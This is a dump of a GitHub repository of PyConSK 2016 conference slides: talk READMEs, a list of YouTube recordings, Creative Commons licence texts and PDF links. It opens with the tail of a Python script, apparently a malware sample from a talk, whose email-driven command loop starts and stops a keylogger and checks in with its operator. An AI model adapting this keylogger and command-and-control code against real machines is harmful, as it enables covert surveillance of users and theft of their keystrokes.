226 | keylogger.exit = False 227 | keylogger(jobid) 228 | 229 | elif cmd == 'stopkeylogger': 230 | keylogger.exit = True 231 | 232 | elif cmd == 'forcecheckin': 233 | sendEmail("Host checking in as requested", checkin=True) 234 | 235 | else: 236 | raise NotImplementedError 237 | 238 | c.logout() 239 | 240 | time.sleep(10) 241 | 242 | except Exception as e: 243 | #logging.debug(format_exc()) 244 | time.sleep(10) 245 | 246 | -------------------------------------------------------------------------------- /Python_and_DTrace/DTrace - pyconSK.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Python_and_DTrace/DTrace - pyconSK.pdf -------------------------------------------------------------------------------- /Python_and_DTrace/README.md: -------------------------------------------------------------------------------- 1 | # Python and DTrace 2 | ## Jesús Cea Avión 3 | 4 | Contact me [@jcea](https://twitter.com/jcea) 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # [PyConSK 2016](https://2016.pycon.sk/en) Slides 2 | 3 | Adding slides: 4 | 5 | 1. Fork this repository 6 | 2. Add a directory with your presentation title (shortened if too long :) ) 7 | 3. Add slides to the directory 8 | 4. Add LICENSE and README files 9 | 5. Create Pull Request 10 | 11 | 12 | **Copyright:** 13 | Unless there is a LICENSE file in the folder along with the 14 | presentation, please contact the author if you wish to use his/her materials. 15 | 16 | 17 | ## YouTube videos 18 | 19 | ### Friday 20 | 21 | * [Petr Viktorin - How import works](https://www.youtube.com/watch?v=K6k6q-6XGlY) (CZ) 22 | * [Andrea Šteňová - Basics of functional programming](https://www.youtube.com/watch?v=5m-I5m1BzLU) (SK) 23 | * [Miroslav Beka - Virtualenv, Flask, Vagrant, etc.](https://www.youtube.com/watch?v=snUGyOTn26g) (SK) 24 | * [Michal Kaukič - Jupyter notebook at home, in school, everywhere](https://www.youtube.com/watch?v=rbIN9-zitPc) (SK) 25 | * [Peter Matkovski - Python and Malware](https://www.youtube.com/watch?v=kLAhnaEaAaI) (SK) 26 | * [Svetlana Margetová - Django, Django REST Framework, React](https://www.youtube.com/watch?v=euJ-x9RK7PM) (SK) 27 | * [Tibor Arpáš - Mashing up py.test, coverage.py and ast.py to take TDD to a new level](https://www.youtube.com/watch?v=1mU1Zo2evNE) (SK) 28 | * [Jakub Ševcech - Tips and tricks for using functional features of Python](https://www.youtube.com/watch?v=1BzgBXQuzcc) (SK) 29 | 30 | 31 | ### Saturday - Track 1 32 | 33 | * [Nicholas H. Tollervey - Teach, Learn, Program](https://www.youtube.com/watch?v=vhP7zjq0XEI) (EN) 34 | * [Bjarni Runar Einarsson - Can Free Software be a full time job? ](https://www.youtube.com/watch?v=_e0LoC1YFv4) (EN) 35 | * [Cory Benfield - Building Protocol Libraries The Right Way](https://www.youtube.com/watch?v=Evchk7aNKdQ) (EN) 36 | * [Daniele Procida - Poets, programmers and Python](https://www.youtube.com/watch?v=Zd7A7gsTdvo) (EN) 37 | * [Johannes Wachs - Analyzing Networks In Python](https://www.youtube.com/watch?v=yMSCWLma46s) (EN) 38 | * [Petra Cross - Behind The Scenes Of Day-To-Day Software Development At Google](https://www.youtube.com/watch?v=sFvwb8Q2Oyw) (EN) 39 | 40 | -------------------------------------------------------------------------------- /Scientific_Computing_with_Python/README.md: -------------------------------------------------------------------------------- 1 | # Scientific Computing with Python 2 | ## Claus Aichinger 3 | 4 | Presentation materials are available here: https://github.com/caichinger/slides/tree/master/2016-03-12__PyCon_SK 5 | -------------------------------------------------------------------------------- /Teach_Learn_Program/README.md: -------------------------------------------------------------------------------- 1 | # Teach, Learn, Program 2 | ## Nicholas H. Tollervey 3 | 4 | Reach me on Twitter as [@ntoll](https://twitter.com/ntoll) 5 | 6 | Presentation materials are available here: [http://ntoll.org/static/presentations/pyconslovakia/index.html](http://ntoll.org/static/presentations/pyconslovakia/index.html) 7 | -------------------------------------------------------------------------------- /Tips_And_Tricks_For_Using_Functional_Features_Of_Python/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | 3 | Attribution 4.0 International 4 | 5 | ======================================================================= 6 | 7 | Creative Commons Corporation ("Creative Commons") is not a law firm and 8 | does not provide legal services or legal advice. Distribution of 9 | Creative Commons public licenses does not create a lawyer-client or 10 | other relationship. Creative Commons makes its licenses and related 11 | information available on an "as-is" basis. Creative Commons gives no 12 | warranties regarding its licenses, any material licensed under their 13 | terms and conditions, or any related information. Creative Commons 14 | disclaims all liability for damages resulting from their use to the 15 | fullest extent possible. 16 | 17 | Using Creative Commons Public Licenses 18 | 19 | Creative Commons public licenses provide a standard set of terms and 20 | conditions that creators and other rights holders may use to share 21 | original works of authorship and other material subject to copyright 22 | and certain other rights specified in the public license below. The 23 | following considerations are for informational purposes only, are not 24 | exhaustive, and do not form part of our licenses. 25 | 26 | Considerations for licensors: Our public licenses are 27 | intended for use by those authorized to give the public 28 | permission to use material in ways otherwise restricted by 29 | copyright and certain other rights. Our licenses are 30 | irrevocable. Licensors should read and understand the terms 31 | and conditions of the license they choose before applying it. 32 | Licensors should also secure all rights necessary before 33 | applying our licenses so that the public can reuse the 34 | material as expected. Licensors should clearly mark any 35 | material not subject to the license. This includes other CC- 36 | licensed material, or material used under an exception or 37 | limitation to copyright. More considerations for licensors: 38 | wiki.creativecommons.org/Considerations_for_licensors 39 | 40 | Considerations for the public: By using one of our public 41 | licenses, a licensor grants the public permission to use the 42 | licensed material under specified terms and conditions. If 43 | the licensor's permission is not necessary for any reason--for 44 | example, because of any applicable exception or limitation to 45 | copyright--then that use is not regulated by the license. Our 46 | licenses grant only permissions under copyright and certain 47 | other rights that a licensor has authority to grant. Use of 48 | the licensed material may still be restricted for other 49 | reasons, including because others have copyright or other 50 | rights in the material. A licensor may make special requests, 51 | such as asking that all changes be marked or described. 52 | Although not required by our licenses, you are encouraged to 53 | respect those requests where reasonable. More_considerations 54 | for the public: 55 | wiki.creativecommons.org/Considerations_for_licensees 56 | 57 | ======================================================================= 58 | 59 | Creative Commons Attribution 4.0 International Public License 60 | 61 | By exercising the Licensed Rights (defined below), You accept and agree 62 | to be bound by the terms and conditions of this Creative Commons 63 | Attribution 4.0 International Public License ("Public License"). To the 64 | extent this Public License may be interpreted as a contract, You are 65 | granted the Licensed Rights in consideration of Your acceptance of 66 | these terms and conditions, and the Licensor grants You such rights in 67 | consideration of benefits the Licensor receives from making the 68 | Licensed Material available under these terms and conditions. 69 | 70 | 71 | Section 1 -- Definitions. 72 | 73 | a. Adapted Material means material subject to Copyright and Similar 74 | Rights that is derived from or based upon the Licensed Material 75 | and in which the Licensed Material is translated, altered, 76 | arranged, transformed, or otherwise modified in a manner requiring 77 | permission under the Copyright and Similar Rights held by the 78 | Licensor. For purposes of this Public License, where the Licensed 79 | Material is a musical work, performance, or sound recording, 80 | Adapted Material is always produced where the Licensed Material is 81 | synched in timed relation with a moving image. 82 | 83 | b. Adapter's License means the license You apply to Your Copyright 84 | and Similar Rights in Your contributions to Adapted Material in 85 | accordance with the terms and conditions of this Public License. 86 | 87 | c. Copyright and Similar Rights means copyright and/or similar rights 88 | closely related to copyright including, without limitation, 89 | performance, broadcast, sound recording, and Sui Generis Database 90 | Rights, without regard to how the rights are labeled or 91 | categorized. For purposes of this Public License, the rights 92 | specified in Section 2(b)(1)-(2) are not Copyright and Similar 93 | Rights. 94 | 95 | d. Effective Technological Measures means those measures that, in the 96 | absence of proper authority, may not be circumvented under laws 97 | fulfilling obligations under Article 11 of the WIPO Copyright 98 | Treaty adopted on December 20, 1996, and/or similar international 99 | agreements. 100 | 101 | e. Exceptions and Limitations means fair use, fair dealing, and/or 102 | any other exception or limitation to Copyright and Similar Rights 103 | that applies to Your use of the Licensed Material. 104 | 105 | f. Licensed Material means the artistic or literary work, database, 106 | or other material to which the Licensor applied this Public 107 | License. 108 | 109 | g. Licensed Rights means the rights granted to You subject to the 110 | terms and conditions of this Public License, which are limited to 111 | all Copyright and Similar Rights that apply to Your use of the 112 | Licensed Material and that the Licensor has authority to license. 113 | 114 | h. Licensor means the individual(s) or entity(ies) granting rights 115 | under this Public License. 116 | 117 | i. Share means to provide material to the public by any means or 118 | process that requires permission under the Licensed Rights, such 119 | as reproduction, public display, public performance, distribution, 120 | dissemination, communication, or importation, and to make material 121 | available to the public including in ways that members of the 122 | public may access the material from a place and at a time 123 | individually chosen by them. 124 | 125 | j. Sui Generis Database Rights means rights other than copyright 126 | resulting from Directive 96/9/EC of the European Parliament and of 127 | the Council of 11 March 1996 on the legal protection of databases, 128 | as amended and/or succeeded, as well as other essentially 129 | equivalent rights anywhere in the world. 130 | 131 | k. You means the individual or entity exercising the Licensed Rights 132 | under this Public License. Your has a corresponding meaning. 133 | 134 | 135 | Section 2 -- Scope. 136 | 137 | a. License grant. 138 | 139 | 1. Subject to the terms and conditions of this Public License, 140 | the Licensor hereby grants You a worldwide, royalty-free, 141 | non-sublicensable, non-exclusive, irrevocable license to 142 | exercise the Licensed Rights in the Licensed Material to: 143 | 144 | a. reproduce and Share the Licensed Material, in whole or 145 | in part; and 146 | 147 | b. produce, reproduce, and Share Adapted Material. 148 | 149 | 2. Exceptions and Limitations. For the avoidance of doubt, where 150 | Exceptions and Limitations apply to Your use, this Public 151 | License does not apply, and You do not need to comply with 152 | its terms and conditions. 153 | 154 | 3. Term. The term of this Public License is specified in Section 155 | 6(a). 156 | 157 | 4. Media and formats; technical modifications allowed. The 158 | Licensor authorizes You to exercise the Licensed Rights in 159 | all media and formats whether now known or hereafter created, 160 | and to make technical modifications necessary to do so. The 161 | Licensor waives and/or agrees not to assert any right or 162 | authority to forbid You from making technical modifications 163 | necessary to exercise the Licensed Rights, including 164 | technical modifications necessary to circumvent Effective 165 | Technological Measures. For purposes of this Public License, 166 | simply making modifications authorized by this Section 2(a) 167 | (4) never produces Adapted Material. 168 | 169 | 5. Downstream recipients. 170 | 171 | a. Offer from the Licensor -- Licensed Material. Every 172 | recipient of the Licensed Material automatically 173 | receives an offer from the Licensor to exercise the 174 | Licensed Rights under the terms and conditions of this 175 | Public License. 176 | 177 | b. No downstream restrictions. You may not offer or impose 178 | any additional or different terms or conditions on, or 179 | apply any Effective Technological Measures to, the 180 | Licensed Material if doing so restricts exercise of the 181 | Licensed Rights by any recipient of the Licensed 182 | Material. 183 | 184 | 6. No endorsement. Nothing in this Public License constitutes or 185 | may be construed as permission to assert or imply that You 186 | are, or that Your use of the Licensed Material is, connected 187 | with, or sponsored, endorsed, or granted official status by, 188 | the Licensor or others designated to receive attribution as 189 | provided in Section 3(a)(1)(A)(i). 190 | 191 | b. Other rights. 192 | 193 | 1. Moral rights, such as the right of integrity, are not 194 | licensed under this Public License, nor are publicity, 195 | privacy, and/or other similar personality rights; however, to 196 | the extent possible, the Licensor waives and/or agrees not to 197 | assert any such rights held by the Licensor to the limited 198 | extent necessary to allow You to exercise the Licensed 199 | Rights, but not otherwise. 200 | 201 | 2. Patent and trademark rights are not licensed under this 202 | Public License. 203 | 204 | 3. To the extent possible, the Licensor waives any right to 205 | collect royalties from You for the exercise of the Licensed 206 | Rights, whether directly or through a collecting society 207 | under any voluntary or waivable statutory or compulsory 208 | licensing scheme. In all other cases the Licensor expressly 209 | reserves any right to collect such royalties. 210 | 211 | 212 | Section 3 -- License Conditions. 213 | 214 | Your exercise of the Licensed Rights is expressly made subject to the 215 | following conditions. 216 | 217 | a. Attribution. 218 | 219 | 1. If You Share the Licensed Material (including in modified 220 | form), You must: 221 | 222 | a. retain the following if it is supplied by the Licensor 223 | with the Licensed Material: 224 | 225 | i. identification of the creator(s) of the Licensed 226 | Material and any others designated to receive 227 | attribution, in any reasonable manner requested by 228 | the Licensor (including by pseudonym if 229 | designated); 230 | 231 | ii. a copyright notice; 232 | 233 | iii. a notice that refers to this Public License; 234 | 235 | iv. a notice that refers to the disclaimer of 236 | warranties; 237 | 238 | v. a URI or hyperlink to the Licensed Material to the 239 | extent reasonably practicable; 240 | 241 | b. indicate if You modified the Licensed Material and 242 | retain an indication of any previous modifications; and 243 | 244 | c. indicate the Licensed Material is licensed under this 245 | Public License, and include the text of, or the URI or 246 | hyperlink to, this Public License. 247 | 248 | 2. You may satisfy the conditions in Section 3(a)(1) in any 249 | reasonable manner based on the medium, means, and context in 250 | which You Share the Licensed Material. For example, it may be 251 | reasonable to satisfy the conditions by providing a URI or 252 | hyperlink to a resource that includes the required 253 | information. 254 | 255 | 3. If requested by the Licensor, You must remove any of the 256 | information required by Section 3(a)(1)(A) to the extent 257 | reasonably practicable. 258 | 259 | 4. If You Share Adapted Material You produce, the Adapter's 260 | License You apply must not prevent recipients of the Adapted 261 | Material from complying with this Public License. 262 | 263 | 264 | Section 4 -- Sui Generis Database Rights. 265 | 266 | Where the Licensed Rights include Sui Generis Database Rights that 267 | apply to Your use of the Licensed Material: 268 | 269 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right 270 | to extract, reuse, reproduce, and Share all or a substantial 271 | portion of the contents of the database; 272 | 273 | b. if You include all or a substantial portion of the database 274 | contents in a database in which You have Sui Generis Database 275 | Rights, then the database in which You have Sui Generis Database 276 | Rights (but not its individual contents) is Adapted Material; and 277 | 278 | c. You must comply with the conditions in Section 3(a) if You Share 279 | all or a substantial portion of the contents of the database. 280 | 281 | For the avoidance of doubt, this Section 4 supplements and does not 282 | replace Your obligations under this Public License where the Licensed 283 | Rights include other Copyright and Similar Rights. 284 | 285 | 286 | Section 5 -- Disclaimer of Warranties and Limitation of Liability. 287 | 288 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE 289 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS 290 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF 291 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, 292 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, 293 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR 294 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, 295 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT 296 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT 297 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. 298 | 299 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE 300 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, 301 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, 302 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, 303 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR 304 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN 305 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR 306 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR 307 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. 308 | 309 | c. The disclaimer of warranties and limitation of liability provided 310 | above shall be interpreted in a manner that, to the extent 311 | possible, most closely approximates an absolute disclaimer and 312 | waiver of all liability. 313 | 314 | 315 | Section 6 -- Term and Termination. 316 | 317 | a. This Public License applies for the term of the Copyright and 318 | Similar Rights licensed here. However, if You fail to comply with 319 | this Public License, then Your rights under this Public License 320 | terminate automatically. 321 | 322 | b. Where Your right to use the Licensed Material has terminated under 323 | Section 6(a), it reinstates: 324 | 325 | 1. automatically as of the date the violation is cured, provided 326 | it is cured within 30 days of Your discovery of the 327 | violation; or 328 | 329 | 2. upon express reinstatement by the Licensor. 330 | 331 | For the avoidance of doubt, this Section 6(b) does not affect any 332 | right the Licensor may have to seek remedies for Your violations 333 | of this Public License. 334 | 335 | c. For the avoidance of doubt, the Licensor may also offer the 336 | Licensed Material under separate terms or conditions or stop 337 | distributing the Licensed Material at any time; however, doing so 338 | will not terminate this Public License. 339 | 340 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public 341 | License. 342 | 343 | 344 | Section 7 -- Other Terms and Conditions. 345 | 346 | a. The Licensor shall not be bound by any additional or different 347 | terms or conditions communicated by You unless expressly agreed. 348 | 349 | b. Any arrangements, understandings, or agreements regarding the 350 | Licensed Material not stated herein are separate from and 351 | independent of the terms and conditions of this Public License. 352 | 353 | 354 | Section 8 -- Interpretation. 355 | 356 | a. For the avoidance of doubt, this Public License does not, and 357 | shall not be interpreted to, reduce, limit, restrict, or impose 358 | conditions on any use of the Licensed Material that could lawfully 359 | be made without permission under this Public License. 360 | 361 | b. To the extent possible, if any provision of this Public License is 362 | deemed unenforceable, it shall be automatically reformed to the 363 | minimum extent necessary to make it enforceable. If the provision 364 | cannot be reformed, it shall be severed from this Public License 365 | without affecting the enforceability of the remaining terms and 366 | conditions. 367 | 368 | c. No term or condition of this Public License will be waived and no 369 | failure to comply consented to unless expressly agreed to by the 370 | Licensor. 371 | 372 | d. Nothing in this Public License constitutes or may be interpreted 373 | as a limitation upon, or waiver of, any privileges and immunities 374 | that apply to the Licensor or You, including from the legal 375 | processes of any jurisdiction or authority. 376 | 377 | 378 | ======================================================================= 379 | 380 | Creative Commons is not a party to its public 381 | licenses. Notwithstanding, Creative Commons may elect to apply one of 382 | its public licenses to material it publishes and in those instances 383 | will be considered the “Licensor.” The text of the Creative Commons 384 | public licenses is dedicated to the public domain under the CC0 Public 385 | Domain Dedication. Except for the limited purpose of indicating that 386 | material is shared under a Creative Commons public license or as 387 | otherwise permitted by the Creative Commons policies published at 388 | creativecommons.org/policies, Creative Commons does not authorize the 389 | use of the trademark "Creative Commons" or any other trademark or logo 390 | of Creative Commons without its prior written consent including, 391 | without limitation, in connection with any unauthorized modifications 392 | to any of its public licenses or any other arrangements, 393 | understandings, or agreements concerning use of licensed material. For 394 | the avoidance of doubt, this paragraph does not form part of the 395 | public licenses. 396 | 397 | Creative Commons may be contacted at creativecommons.org. 398 | 399 | 400 | -------------------------------------------------------------------------------- /Tips_And_Tricks_For_Using_Functional_Features_Of_Python/README.md: -------------------------------------------------------------------------------- 1 | # Tips and tricks for using functional features of Python 2 | ## Jakub Ševcech 3 | 4 | Contact me at jakub.sevcech@gmail.com 5 | or @sevo_jakub 6 | 7 | The presentation is available also on Slideshare: http://www.slideshare.net/sevcech/tipy-a-triky-na-pouvanie-funkcionlnych-vlastnost-pythonu 8 | -------------------------------------------------------------------------------- /Tips_And_Tricks_For_Using_Functional_Features_Of_Python/Tips_And_Tricks_For_Using_Functional_Features_Of_Python.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Tips_And_Tricks_For_Using_Functional_Features_Of_Python/Tips_And_Tricks_For_Using_Functional_Features_Of_Python.pdf -------------------------------------------------------------------------------- /Vagrant_end_of_It_works_on_my_machine_saga/LICENSE: -------------------------------------------------------------------------------- 1 | CC0 1.0 Universal 2 | 3 | Statement of Purpose 4 | 5 | The laws of most jurisdictions throughout the world automatically confer 6 | exclusive Copyright and Related Rights (defined below) upon the creator and 7 | subsequent owner(s) (each and all, an "owner") of an original work of 8 | authorship and/or a database (each, a "Work"). 9 | 10 | Certain owners wish to permanently relinquish those rights to a Work for the 11 | purpose of contributing to a commons of creative, cultural and scientific 12 | works ("Commons") that the public can reliably and without fear of later 13 | claims of infringement build upon, modify, incorporate in other works, reuse 14 | and redistribute as freely as possible in any form whatsoever and for any 15 | purposes, including without limitation commercial purposes. These owners may 16 | contribute to the Commons to promote the ideal of a free culture and the 17 | further production of creative, cultural and scientific works, or to gain 18 | reputation or greater distribution for their Work in part through the use and 19 | efforts of others. 20 | 21 | For these and/or other purposes and motivations, and without any expectation 22 | of additional consideration or compensation, the person associating CC0 with a 23 | Work (the "Affirmer"), to the extent that he or she is an owner of Copyright 24 | and Related Rights in the Work, voluntarily elects to apply CC0 to the Work 25 | and publicly distribute the Work under its terms, with knowledge of his or her 26 | Copyright and Related Rights in the Work and the meaning and intended legal 27 | effect of CC0 on those rights. 28 | 29 | 1. Copyright and Related Rights. A Work made available under CC0 may be 30 | protected by copyright and related or neighboring rights ("Copyright and 31 | Related Rights"). Copyright and Related Rights include, but are not limited 32 | to, the following: 33 | 34 | i. the right to reproduce, adapt, distribute, perform, display, communicate, 35 | and translate a Work; 36 | 37 | ii. moral rights retained by the original author(s) and/or performer(s); 38 | 39 | iii. publicity and privacy rights pertaining to a person's image or likeness 40 | depicted in a Work; 41 | 42 | iv. rights protecting against unfair competition in regards to a Work, 43 | subject to the limitations in paragraph 4(a), below; 44 | 45 | v. rights protecting the extraction, dissemination, use and reuse of data in 46 | a Work; 47 | 48 | vi. database rights (such as those arising under Directive 96/9/EC of the 49 | European Parliament and of the Council of 11 March 1996 on the legal 50 | protection of databases, and under any national implementation thereof, 51 | including any amended or successor version of such directive); and 52 | 53 | vii. other similar, equivalent or corresponding rights throughout the world 54 | based on applicable law or treaty, and any national implementations thereof. 55 | 56 | 2. Waiver. To the greatest extent permitted by, but not in contravention of, 57 | applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and 58 | unconditionally waives, abandons, and surrenders all of Affirmer's Copyright 59 | and Related Rights and associated claims and causes of action, whether now 60 | known or unknown (including existing as well as future claims and causes of 61 | action), in the Work (i) in all territories worldwide, (ii) for the maximum 62 | duration provided by applicable law or treaty (including future time 63 | extensions), (iii) in any current or future medium and for any number of 64 | copies, and (iv) for any purpose whatsoever, including without limitation 65 | commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes 66 | the Waiver for the benefit of each member of the public at large and to the 67 | detriment of Affirmer's heirs and successors, fully intending that such Waiver 68 | shall not be subject to revocation, rescission, cancellation, termination, or 69 | any other legal or equitable action to disrupt the quiet enjoyment of the Work 70 | by the public as contemplated by Affirmer's express Statement of Purpose. 71 | 72 | 3. Public License Fallback. Should any part of the Waiver for any reason be 73 | judged legally invalid or ineffective under applicable law, then the Waiver 74 | shall be preserved to the maximum extent permitted taking into account 75 | Affirmer's express Statement of Purpose. In addition, to the extent the Waiver 76 | is so judged Affirmer hereby grants to each affected person a royalty-free, 77 | non transferable, non sublicensable, non exclusive, irrevocable and 78 | unconditional license to exercise Affirmer's Copyright and Related Rights in 79 | the Work (i) in all territories worldwide, (ii) for the maximum duration 80 | provided by applicable law or treaty (including future time extensions), (iii) 81 | in any current or future medium and for any number of copies, and (iv) for any 82 | purpose whatsoever, including without limitation commercial, advertising or 83 | promotional purposes (the "License"). The License shall be deemed effective as 84 | of the date CC0 was applied by Affirmer to the Work. Should any part of the 85 | License for any reason be judged legally invalid or ineffective under 86 | applicable law, such partial invalidity or ineffectiveness shall not 87 | invalidate the remainder of the License, and in such case Affirmer hereby 88 | affirms that he or she will not (i) exercise any of his or her remaining 89 | Copyright and Related Rights in the Work or (ii) assert any associated claims 90 | and causes of action with respect to the Work, in either case contrary to 91 | Affirmer's express Statement of Purpose. 92 | 93 | 4. Limitations and Disclaimers. 94 | 95 | a. No trademark or patent rights held by Affirmer are waived, abandoned, 96 | surrendered, licensed or otherwise affected by this document. 97 | 98 | b. Affirmer offers the Work as-is and makes no representations or warranties 99 | of any kind concerning the Work, express, implied, statutory or otherwise, 100 | including without limitation warranties of title, merchantability, fitness 101 | for a particular purpose, non infringement, or the absence of latent or 102 | other defects, accuracy, or the present or absence of errors, whether or not 103 | discoverable, all to the greatest extent permissible under applicable law. 104 | 105 | c. Affirmer disclaims responsibility for clearing rights of other persons 106 | that may apply to the Work or any use thereof, including without limitation 107 | any person's Copyright and Related Rights in the Work. Further, Affirmer 108 | disclaims responsibility for obtaining any necessary consents, permissions 109 | or other rights required for any use of the Work. 110 | 111 | d. Affirmer understands and acknowledges that Creative Commons is not a 112 | party to this document and has no duty or obligation with respect to this 113 | CC0 or use of the Work. 114 | -------------------------------------------------------------------------------- /Vagrant_end_of_It_works_on_my_machine_saga/README.md: -------------------------------------------------------------------------------- 1 | # Vagrant - End of "It works on my machine" saga 2 | ## Věroš Kaplan 3 | 4 | -------------------------------------------------------------------------------- /Vagrant_end_of_It_works_on_my_machine_saga/VAgrant_for_developers.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Vagrant_end_of_It_works_on_my_machine_saga/VAgrant_for_developers.pdf --------------------------------------------------------------------------------